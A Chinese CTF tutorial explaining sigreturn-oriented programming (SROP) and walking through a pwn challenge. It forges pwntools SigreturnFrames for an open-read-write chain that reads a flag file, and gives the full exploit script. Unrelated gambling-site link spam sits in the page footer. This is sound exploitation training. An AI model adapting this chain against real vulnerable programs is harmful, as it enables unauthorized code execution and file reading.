高级ROP之SROP详解

高级ROP之SROP详解

高级ROP之SROP

一、知识储备

1. signal 机制

这里基础知识就搬运ctfwiki上的了。

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

基本步骤如下:

内核向某个进程发送signal信号,该进程会被暂时挂起,进入内核态。

内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。 此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。

简单来说就是:先保存各个寄存器中的值(Signal Frame),然后挂起用户进程,然后执行信号处理函数,处理完之后恢复栈和各个寄存器让后继续执行用户进程。

2.漏洞利用

可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值以此来达到攻击的目的。

比如说:

rax = 0x3B(execve)

rdi='/bin/sh\00'

rsi=0x0

rdx=0x0

rip=syscall

这样就可以成功getshell。

Signal Frame看起来十分庞大,但是使用pwntools可以快捷构造我们所需要的Signal Frame

二、例题分析

附件放在文末

拿到题还是先检查一下保护信息,然后运行一下看看。

ida分析

main()

rt_sigreturn()

禁用了execve和execveat这两个系统调用,意味着我们很难getshell,所以使用ORW的方式来读取flag。这道题还有现成的sigreturn。

要实现ORW,我们就要构造SROP链。我们先通过一个sigreturn把栈迁移到已知段,这个段要足够长,足以放下Signal Frame,所以.bss段就是一个很好的选择。

首先我们做一些准备工作,通过ida静态调试,我们拿到了 sigreturn 的地址:sigreturn_sddr = 0x401296、syscall_ret的地址syscall_addr = 0x40129D和bss段的起始地址:0x404060,为了防止我们的操作更改了bss段比较重要的一些进程的数据,我们给这个地址加上一段偏移再使用:bss_addr = 0x404060 + 0x300。

然后我们执行栈迁移和第二次read操作,通过IDA的数据可知,我们们需要填充0x28个字节的垃圾数据,所以payload1如下:

frame1 = SigreturnFrame()

frame1.rip = syscall_addr

frame1.rbp = bss_addr + 0x8

frame1.rsp = bss_addr + 0x8

frame1.rax = constants.SYS_read

frame1.rdi = 0

frame1.rsi = bss_addr

frame1.rdx = 0x400

payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))

p.sendline(payload1)

部分解释:bss_addr + 0x8是因为后面我们需要传入‘flag\x00\x00\x00\x00’

下一步我们要进行orw操作

先构造open部分:

frame2 = SigreturnFrame()

frame2.rip = syscall_addr

frame2.rbp = bss_addr + 0x8 + 0x100

frame2.rsp = bss_addr + 0x8 + 0x100

frame2.rax = constants.SYS_open

frame2.rdi = bss_addr

frame2.rsi = 0x0

frame2.rdx = 0x0

payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

然后是read部分:

frame3 = SigreturnFrame()

frame3.rip = syscall_addr

frame3.rbp = bss_addr + 0x8 + 0x208

frame3.rsp = bss_addr + 0x8 + 0x200

frame3.rax = constants.SYS_read

frame3.rdi = 0x3

frame3.rsi = bss_addr

frame3.rdx = 0x30

payload3 = p64(sigreturn_sddr) + (bytes(frame3))

最后是write部分:

frame4 = SigreturnFrame()

frame4.rip = syscall_addr

frame4.rax = constants.SYS_write

frame4.rdi = 0x1

frame4.rsi = bss_addr

frame4.rdx = 0x30

payload4 = p64(sigreturn_sddr) + (bytes(frame4))

所以总的payload如下:

frame2 = SigreturnFrame()

frame2.rip = syscall_addr

frame2.rbp = bss_addr + 0x8 + 0x100

frame2.rsp = bss_addr + 0x8 + 0x100

frame2.rax = constants.SYS_open

frame2.rdi = bss_addr

frame2.rsi = 0x0

frame2.rdx = 0x0

payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

frame3 = SigreturnFrame()

frame3.rip = syscall_addr

frame3.rbp = bss_addr + 0x8 + 0x208

frame3.rsp = bss_addr + 0x8 + 0x200

frame3.rax = constants.SYS_read

frame3.rdi = 0x3

frame3.rsi = bss_addr

frame3.rdx = 0x30

payload3 = p64(sigreturn_sddr) + (bytes(frame3))

frame4 = SigreturnFrame()

frame4.rip = syscall_addr

frame4.rax = constants.SYS_write

frame4.rdi = 0x1

frame4.rsi = bss_addr

frame4.rdx = 0x30

payload4 = p64(sigreturn_sddr) + (bytes(frame4))

pause()

p.send(payload2 + payload3 + payload4)

所以总的exp如下:

点击查看代码

from pwn import *

if __name__ == "__main__":

context.log_level = 'debug'

context.arch = 'amd64'

context.os = 'linux'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

elf=ELF('./srop')

p = process('./srop')

padding = 0x28

bss_addr = 0x404060 + 0x300

sigreturn_sddr = 0x401296

syscall_addr = 0x40129D

frame1 = SigreturnFrame()

frame1.rip = syscall_addr

frame1.rbp = bss_addr + 0x8

frame1.rsp = bss_addr + 0x8

frame1.rax = constants.SYS_read

frame1.rdi = 0

frame1.rsi = bss_addr

frame1.rdx = 0x400

payload1 = b'A'*padding + p64(sigreturn_sddr) + (bytes(frame1))

p.sendline(payload1)

frame2 = SigreturnFrame()

frame2.rip = syscall_addr

frame2.rbp = bss_addr + 0x8 + 0x100

frame2.rsp = bss_addr + 0x8 + 0x100

frame2.rax = constants.SYS_open

frame2.rdi = bss_addr

frame2.rsi = 0x0

frame2.rdx = 0x0

payload2 = b'flag' + b'\x00'*0x4 + p64(sigreturn_sddr) + (bytes(frame2))

frame3 = SigreturnFrame()

frame3.rip = syscall_addr

frame3.rbp = bss_addr + 0x8 + 0x208

frame3.rsp = bss_addr + 0x8 + 0x200

frame3.rax = constants.SYS_read

frame3.rdi = 0x3

frame3.rsi = bss_addr

frame3.rdx = 0x30

payload3 = p64(sigreturn_sddr) + (bytes(frame3))

frame4 = SigreturnFrame()

frame4.rip = syscall_addr

frame4.rax = constants.SYS_write

frame4.rdi = 0x1

frame4.rsi = bss_addr

frame4.rdx = 0x30

payload4 = p64(sigreturn_sddr) + (bytes(frame4))

pause()

p.send(payload2 + payload3 + payload4)

p.interactive()

附件

2024-12-01 16:46:58 星期日

猜你喜欢

永劫无间为什么有的人能玩 永劫无间好玩吗上手难度大不大
飞宇 MG V2 终极指南:用这款三轴手持云台提升你的电影制作水平
东北天佑为什么红
365bet体育在线中文网

东北天佑为什么红

09-29 8571
深度体验,北京环球影城攻略看这一篇就够了
365彩票所有官方app下载平台

深度体验,北京环球影城攻略看这一篇就够了

11-06 6651
枵的解释
365bet体育在线中文网

枵的解释

09-28 3715
嗷嗷是什么意思
365彩票所有官方app下载平台

嗷嗷是什么意思

07-18 8253